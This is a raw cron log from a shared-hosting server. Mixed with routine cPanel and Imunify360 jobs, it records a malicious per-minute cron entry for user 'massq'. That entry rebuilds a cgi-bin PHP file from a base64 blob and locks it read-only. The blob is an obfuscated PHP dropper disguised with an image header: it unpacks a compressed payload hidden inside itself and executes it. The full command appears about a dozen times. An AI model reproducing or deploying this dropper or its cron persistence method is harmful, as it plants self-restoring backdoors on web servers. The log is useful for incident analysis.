Aug 31 13:50:01 server CROND[26252]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:50:01 server CROND[26255]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:50:01 server CROND[26258]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 13:50:01 server CROND[26253]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 13:50:01 server CROND[26254]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 13:51:01 server CROND[27074]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 13:51:01 server CROND[27073]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:51:01 server CROND[27075]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:52:01 server CROND[27454]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:52:01 server CROND[27455]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:52:01 server CROND[27456]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 13:53:01 server CROND[27825]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:53:01 server CROND[27826]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 13:53:01 server CROND[27827]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:54:01 server CROND[28298]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:54:01 server CROND[28299]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:54:01 server CROND[28297]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 13:55:01 server CROND[28682]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:55:01 server CROND[28683]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 13:55:01 server CROND[28684]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 13:55:01 server CROND[28685]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:55:01 server CROND[28690]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 13:55:01 server CROND[28686]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 13:55:01 server CROND[28689]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 13:56:01 server CROND[29531]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:56:01 server CROND[29530]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 13:56:01 server CROND[29532]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:57:01 server CROND[29915]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 13:57:01 server CROND[29917]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 13:57:01 server CROND[29918]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:57:01 server CROND[29916]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:58:01 server CROND[30303]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:58:01 server CROND[30304]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 13:58:01 server CROND[30305]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 13:59:01 server CROND[30765]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 13:59:01 server CROND[30766]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 13:59:01 server CROND[30767]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:00:01 server CROND[31152]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 14:00:01 server CROND[31153]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 14:00:01 server CROND[31156]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 14:00:01 server CROND[31163]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 14:00:01 server CROND[31159]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 14:00:01 server CROND[31165]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 14:00:01 server CROND[31160]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:00:01 server CROND[31166]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 14:00:01 server CROND[31162]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Aug 31 14:00:01 server CROND[31161]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Aug 31 14:01:01 server CROND[32061]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 14:01:01 server CROND[32062]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 14:01:01 server CROND[32063]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
